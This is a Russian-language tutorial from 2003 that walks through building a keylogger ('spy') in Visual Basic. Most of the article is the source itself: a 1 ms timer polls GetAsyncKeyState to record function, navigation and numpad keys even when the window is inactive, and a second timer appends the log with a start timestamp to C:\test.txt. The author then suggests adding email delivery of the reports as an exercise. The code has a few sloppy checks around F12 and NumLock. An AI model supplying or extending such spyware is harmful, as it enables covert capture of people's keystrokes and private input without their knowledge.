Дата публикации статьи: 08.07.2003 00:00

Реализовать клавиатурный шпион на Visual Basic очень легко. Для этого необходима функция
GetAsynckeyState, которая способна отслеживать нажатия клавиш, даже если форма в неактивном состоянии.
Наша программа будет фиксировать нажатия функциональных клавиш типа F1,CapsLock и т. д.. и записывать их в файл “C:\test.txt”.

Добавьте на форму текстовое поле Text2  и таймер Timer1 с интервалом 1.

Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Const VK_CAPITAL = &H14
Private Sub Timer1_Timer()
   keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "tab" + vbNewLine
     End If
 keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "влево" + vbNewLine
     End If
keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "вправо" + vbNewLine
     End If
keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "вверх" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "вниз" + vbNewLine
     End If
keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "insert" + vbNewLine
     End If
keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "Delete" + vbNewLine
     End If
        keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "end" + vbNewLine
     End If
      keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "home" + vbNewLine
     End If
   keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F1"
     End If
   keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F2"
     End If
   keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F3"
     End If
   keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F4"
     End If
   keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F5"
     End If
   keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F6"
     End If
   keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F7"
     End If
   keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F8"
     End If
   keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F9"
     End If
   keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F10"
     End If
   keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F11"
     End If
   keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
  Text2 = Text2 + "F12"
     End If
     If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "NumLock" + vbNewLine
     End If
     keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "ScrollLock" + vbNewLine
         End If
    keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "PrintScreen" + vbNewLine
         End If
       keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "PageUp" + vbNewLine
         End If
       keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "Pagedown" + vbNewLine
         End If
         keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "1"
         End If
         keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "2"
         End If
         keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "3"
         End If
         keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "4"
         End If
         keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "5"
         End If
         keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "6"
         End If
         keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "7"
         End If
         keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "8"
         End If
         keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "9"
         End If
         keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "0"
         End If
         keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "esc"
     End If
      keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "NumLock"
     End If
      keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "backspace" + vbNewLine
     End If
       keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "pause" + vbNewLine
     End If
End Sub

И всё, шпион почти готов. Нужна ещё процедура записи в файл.
В Form_Load добавим следующий фрагмент:

Text2 = "Контроль за системой активирован в: " + Time$ + " " + Date$ + vbNewLine

Это чтобы знать, когда был запущен шпион.
Добавим ещё один таймер с интервалом 10000. Запишем код

Open “C:\test.txt” For Append As #1
Print #1, Text2.Text
Close #1
Text2.Text = ""

Всё. Полагаю, реализовать запись остальных клавиш будет очень легко.
Ещё, правда, хорошему шпиону нужна процедура отправки на e-mail отчёта. Конечно, можно использовать Winsock или MAPI Control, однако тогда придётся использовать программу установки.
Но это вам самим на доработку.